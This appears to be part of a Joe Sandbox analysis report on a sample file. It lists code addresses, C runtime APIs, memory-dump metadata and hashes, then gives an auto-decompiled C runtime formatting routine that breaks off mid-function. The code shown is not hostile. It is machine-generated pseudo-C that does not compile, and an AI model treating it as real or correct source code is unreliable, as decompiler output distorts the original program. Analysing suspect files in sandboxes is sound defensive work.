0x00000000
0x00000000
0x00427bd4
0x00427bda
0x00427be0
0x00427c5d
0x00427c63
0x00427c6c
0x00427c72
0x00427c78
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00427cad
0x00427cb0
0x00427cb3
0x00427cb8
0x00427cbd
0x00427ccf
0x00427cd2
0x00427ce4
0x00427ce7
0x00427ce9
0x00427ced
0x00427ced
0x00427cd4
0x00427cd4
0x00427cd8
0x00427cd8
0x00427cbf
0x00427cbf
0x00427cc3
0x00427cc3
0x00427cbd
0x00427cfd
0x00427d06
0x00427d09
0x00427d1f
0x00427d24
0x00427d24
0x00427d3a
0x00427d3f
0x00427d45
0x00427d48
0x00427d4d
0x00427d50
0x00427d66
0x00427d6b
0x00427d6b
0x00427d50
0x00427d6e
0x00427d72
0x00427e46
0x00427e59
0x00427e5e
0x00000000
0x00427d78
0x00427d78
0x00427d78
0x00427d7c
0x00000000
0x00000000
0x00427d82
0x00427d82
0x00427d8f
0x00427d98
0x00427d9e
0x00427d9e
0x00427dad
0x00427db3
0x00427db5
0x00000000
0x00000000
0x00427dbb
0x00427dc4
0x00427de3
0x00427de8
0x00427deb
0x00427dfa
0x00427e00
0x00427e07
0x00427e12
0x00427e12
0x00000000
0x00427e12
0x00427e09
0x00427e09
0x00427e10
0x00427e1e
0x00427e37
0x00427e3c
0x00000000
0x00427e3c
0x00000000
0x00427e10
0x00427e44
0x00427e61
0x00427e61
0x00427e68
0x00427e6d
0x00427e70
0x00427e86
0x00427e8b
0x00427e8b
0x00427e70
0x00427e68
0x00427e8e
0x00427e8e
0x00427e92
0x00427e9a
0x00427e9f
0x00427ea2
0x00427ea2
0x00427ea9
0x00427ea9
0x0042702f
0x00427042
0x00427047
0x00000000
0x0042705a
0x00427064
0x0042708b
0x00427072
0x00427083
0x00427083
0x00427064
0x00427095
0x0042709b
0x004270ad
0x004270b8
0x004270c4
0x004270d1
0x00000000
0x00000000
0x004270d7
0x004270dd
0x00000000
0x004270e4
0x004270e4
0x004270fc
0x00427101
0x00427106
0x004271c0
0x004271d3
0x004271d8
0x00000000
0x0042710c
0x0042711f
0x00427124
0x0042712a
0x0042712c
0x00427135
0x00427138
0x00427144
0x00427148
0x0042714e
0x00427150
0x00427155
0x00427157
0x0042715c
0x00427161
0x00427163
0x00427168
0x0042716e
0x00427170
0x00427170
0x0042716e
0x00427171
0x00427178
0x00000000
0x0042717a
0x0042717f
0x0042719b
0x004271a3
0x004271b0
0x004271b5
0x00000000
0x004271b5
0x00427178
0x00000000
0x004271e0
0x004271e0
0x004271e7
0x004271ea
0x004271ed
0x004271f0
0x004271f3
0x004271f6
0x004271f9
0x00427200
0x00427207
0x00000000
0x00000000
0x00427213
0x00427213
0x0042721a
0x00427226
0x00427229
0x0042722f
0x00427236
0x00000000
0x00000000
0x00427238
0x00427238
0x0042723e
0x0042723e
0x00427245
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427288
0x00427288
0x0042728f
0x00427292
0x004272bc
0x004272bf
0x004272bf
0x004272c2
0x004272c9
0x004272c9
0x004272cd
0x00427294
0x00427294
0x004272a0
0x004272a3
0x004272a7
0x004272a9
0x004272ac
0x004272ac
0x004272af
0x004272b5
0x004272b7
0x004272b7
0x004272ba
0x004272d0
0x00000000
0x00000000
0x004272d5
0x004272d5
0x00000000
0x00000000
0x004272e1
0x004272e1
0x004272e8
0x004272eb
0x0042730b
0x0042730e
0x0042730e
0x00427318
0x00427318
0x0042731c
0x004272ed
0x004272ed
0x004272f9
0x004272fc
0x00427300
0x00427302
0x00427302
0x00427309
0x00000000
0x00000000
0x00427324
0x00427324
0x0042732b
0x00427337
0x0042733a
0x00427340
0x00427347
0x0042745a
0x00000000
0x0042745a
0x0042734d
0x0042734d
0x00427353
0x00427353
0x0042735a
0x00000000
0x00427390
0x00427390
0x00427393
0x00427396
0x00427399
0x004273c1
0x004273c1
0x004273c4
0x004273c7
0x004273ca
0x004273ef
0x004273ef
0x004273f2
0x004273f5
0x004273f8
0x00427431
0x00427442
0x00000000
0x00427442
0x004273fa
0x004273fa
0x004273fd
0x00427400
0x00427403
0x00000000
0x00000000
0x00427405
0x00427405
0x00427408
0x0042740b
0x0042740e
0x00000000
0x00000000
0x00427410
0x00427410
0x00427413
0x00427416
0x00427419
0x00000000
0x00000000
0x0042741b
0x0042741b
0x0042741e
0x00427421
0x00427424
0x00000000
0x00000000
0x00427426
0x00427426
0x00427429
0x0042742c
0x0042742f
0x00427433
0x00000000
0x00427433
0x00000000
0x0042742f
0x004273cc
0x004273cc
0x004273cf
0x004273d3
0x004273d6
0x00000000
0x004273d8
0x004273db
0x004273de
0x004273e1
0x004273e4
0x004273ea
0x00000000
0x004273ea
0x004273d6
0x0042739b
0x0042739b
0x0042739e
0x004273a2
0x004273a5
0x00000000
0x004273a7
0x004273aa
0x004273ad
0x004273b0
0x004273b3
0x004273b9
0x00000000
0x004273b9
0x00000000
0x00427444
0x00427447
0x0042744a
0x00000000
0x00000000
0x00427361
0x00427361
0x00427364
0x00427367
0x0042736a
0x00427382
0x00427385
0x00427385
0x00427388
0x0042736c
0x0042736f
0x00427372
0x00427378
0x0042737d
0x0042737d
0x00000000
0x00000000
0x0042744f
0x0042744f
0x00427452
0x00427452
0x00427457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042745f
0x0042745f
0x00427466
0x00427472
0x00427475
0x0042747b
0x00427482
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00427488
0x0042748e
0x0042748e
0x00427495
0x00000000
0x004277ef
0x004277ef
0x004277f6
0x004277fd
0x004277fd
0x00427800
0x00000000
0x00000000
0x0042749c
0x0042749f
0x0042749f
0x004274a5
0x004274a7
0x004274aa
0x004274aa
0x004274af
0x004274af
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275df
0x004275e4
0x004275e6
0x004275e9
0x004275e9
0x004275ef
0x004275ef
0x00000000
0x00000000
0x004279bc
0x004279bc
0x00000000
0x00000000
0x00427546
0x00427546
0x00427552
0x00427558
0x0042755f
0x0042756d
0x0042756d
0x00427573
0x00427576
0x00427582
0x004275d7
0x00000000
0x004275d7
0x00427561
0x00427561
0x00427567
0x0042756b
0x0042758a
0x0042758a
0x00427590
0x004275b8
0x004275bf
0x004275c5
0x004275c8
0x004275cb
0x004275d1
0x004275d4
0x00427592
0x00427592
0x00427598
0x0042759b
0x0042759e
0x004275a4
0x004275a7
0x004275aa
0x004275ac
0x004275af
0x004275af
0x00000000
0x00427590
0x00000000
0x00000000
0x00427806
0x00427809
0x0042780c
0x0042780f
0x00427815
0x00427818
0x0042781f
0x00427823
0x0042782e
0x0042782e
0x00427832
0x00427849
0x00427849
0x00427850
0x00427852
0x00427852
0x00427859
0x00427859
0x00427860
0x00427871
0x00427880
0x00427883
0x00427887
0x0042789d
0x00427889
0x00427889
0x0042788c
0x00427892
0x00427898
0x00427898
0x00427887
0x004278a7
0x004278aa
0x004278ad
0x004278b0
0x004278b0
0x004278b3
0x004278b3
0x004278b6
0x004278bc
0x004278c2
0x004278ca
0x004278cb
0x004278ce
0x004278cf
0x004278d2
0x004278d3
0x004278da
0x004278db
0x004278de
0x004278df
0x004278e2
0x004278e3
0x004278e9
0x004278ea
0x004278f8
0x004278fa
0x00427900
0x00427900
0x00427906
0x00427908
0x0042790c
0x0042790e
0x00427916
0x00427917
0x0042791a
0x0042791b
0x00427929
0x0042792b
0x0042792b
0x0042790c
0x0042792e
0x00427935
0x00427938
0x0042793d
0x0042793d
0x00427943
0x00427945
0x0042794d
0x0042794e
0x00427951
0x00427952
0x00427961
0x00427963
0x00427963
0x00427943
0x00427966
0x00427969
0x0042796c
0x0042796f
0x00427974
0x0042797a
0x0042797d
0x00427980
0x00427980
0x00427983
0x00427983
0x00427986
0x00427992
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x00427ca3
0x00427834
0x00427834
0x0042783b
0x0042783e
0x00000000
0x00000000
0x00427840
0x00427840
0x00000000
0x00427840
0x00427825
0x00427825
0x00000000
0x00000000
0x004274b2
0x004274b5
0x004274b5
0x004274bb
0x00427516
0x0042751e
0x00427525
0x0042752b
0x00427531
0x004274bd
0x004274bd
0x004274c7
0x004274cb
0x004274d3
0x004274da
0x004274e7
0x004274ee
0x004274fa
0x00427500
0x00427507
0x00427509
0x00427509
0x00427510
0x00427538
0x0042753e
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x0042799a
0x0042799d
0x004279a0
0x004279a3
0x00427a1b
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427adb
0x00427ae0
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427ac0
0x00427ac5
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a9a
0x00427a9f
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7e
0x00427a83
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a51
0x00427a56
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a29
0x00427a2e
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x004276f8
0x004276f8
0x00427704
0x0042770a
0x0042770f
0x00427711
0x004277bb
0x004277be
0x004277be
0x004277c1
0x004277d5
0x004277db
0x004277e1
0x004277c3
0x004277c3
0x004277d0
0x004277d0
0x004277e3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00427717
0x00427717
0x00427717
0x00427719
0x00427727
0x0042771b
0x0042771b
0x0042771b
0x00427731
0x00427737
0x0042773d
0x00427744
0x00427746
0x0042774b
0x0042774d
0x00427752
0x00427757
0x00427759
0x0042775e
0x00427761
0x00427764
0x00427766
0x00427766
0x00427764
0x00427767
0x0042776e
0x004277b6
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427770
0x00427770
0x00427775
0x00427791
0x00427799
0x004277a3
0x004277a6
0x004277ab
0x00427ec8
0x00427ed5
0x00427ed5
0x00000000
0x00000000
0x00000000
0x004279b5
0x004279b5
0x00000000
0x00000000
0x004275f2
0x004275f2
0x004275f6
0x00427604
0x00427607
0x004275f8
0x004275f8
0x004275f8
0x0042760d
0x00427613
0x00427619
0x00427625
0x0042762b
0x0042762b
0x00427631
0x00427698
0x00427698
0x0042769c
0x0042769e
0x004276a4
0x004276a4
0x004276a7
0x004276aa
0x004276b0
0x004276b0
0x004276b0
0x004276bc
0x004276bf
0x004276c5
0x004276c7
0x00000000
0x00000000
0x004276c9
0x004276c9
0x004276cf
0x004276d2
0x004276d4
0x00000000
0x00000000
0x004276d6
0x004276dc
0x004276df
0x004276df
0x004276e7
0x004276e7
0x004276ed
0x004276ed
0x004276f0
0x00000000
0x00427633
0x00427633
0x00427633
0x00427637
0x00427639
0x0042763e
0x0042763e
0x00427641
0x00427648
0x0042764b
0x00427651
0x00427651
0x00427651
0x0042765d
0x00427660
0x00427666
0x00427668
0x00000000
0x00000000
0x0042766a
0x0042766a
0x00427670
0x00427673
0x00427675
0x00000000
0x00000000
0x00427677
0x0042767d
0x00427680
0x00427680
0x00427688
0x0042768e
0x00427691
0x00427693
0x004276f3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00000000
0x004279ac
0x004279ac
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427adb
0x00427ae0
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427ac0
0x00427ac5
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a9a
0x00427a9f
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7e
0x00427a83
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a51
0x00427a56
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a29
0x00427a2e
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427af7
0x00000000
0x004279c8
0x004279c8
0x004279d2
0x004279d2
0x004279dc
0x004279dc
0x004279e2
0x004279e4
0x004279ee
0x004279ee
0x004279f1
0x004279f4
0x004279f4
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427adb
0x00427ae0
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427ac0
0x00427ac5
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a9a
0x00427a9f
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7e
0x00427a83
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a51
0x00427a56
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a29
0x00427a2e
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427af7
0x00000000
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x00000000
0x00427262
0x00427265
0x00427268
0x00000000
0x00000000
0x0042726d
0x00427270
0x00427275
0x00000000
0x00000000
0x00427257
0x00427257
0x0042725a
0x0042725d
0x00000000
0x00000000
0x0042724c
0x0042724f
0x00427252
0x00000000
0x00000000
0x0042727a
0x0042727a
0x0042727d
0x0042727d
0x00427280
0x00000000
0x00000000
0x00427283
0x00000000
0x00000000
0x004270dd
0x00427eae
0x00427eb4
0x00427ebd
0x00427ec2
0x00000000
0x00427ec2
0x00427ca3
0x00427c7a
0x00427c7a
0x00427c7e
0x00427c8b
0x00427c91
0x00427c97
0x00427c9d
0x00427c9d
0x00427ca0
0x00000000
0x00427ca0
0x00427c80
0x00427c86
0x00427c89
0x00000000
0x00000000
0x00000000
0x00427c89
0x00427be2
0x00427be5
0x00427bef
0x00427bfe
0x00427c07
0x00427c1d
0x00427c23
0x00427c29
0x00427c30
0x00427c38
0x00427c38
0x00427c3e
0x00427c3e
0x00427c4d
0x00427c55
0x00427bc4
0x00427bca
0x00427bcd
0x00427bd0
0x00427bd2
0x00000000
0x00000000
0x00000000
0x00427bd2
0x00427bc4
0x00427b04
0x00427b04
0x00427b0b
0x00000000
0x00000000
0x00000000
0x00427b39
0x00427b3f
0x00427b4b
0x00000000
0x00427b4b
0x00427a1b

APIs

_get_int64_arg.LIBCMTD ref: 00427A29
__aullrem.LIBCMT ref: 00427BF6
__aulldiv.LIBCMT ref: 00427C18

Strings

9, xrefs: 00427C29

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction ID: e513933f3153803aa72b8c161b4e5f394a496bee207012c3ff1aeec4902ec91a
Opcode Fuzzy Hash: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction Fuzzy Hash: 8A410471E08629DFDB64DF48DD89BAEBBB5BB84304F50859AD449A7241C738AE80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C01D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C01D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00428150(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00428150(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00428150(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00428150(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428170(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428170(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430570(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E004305F0( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C1C0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043C5F4))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043C700( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
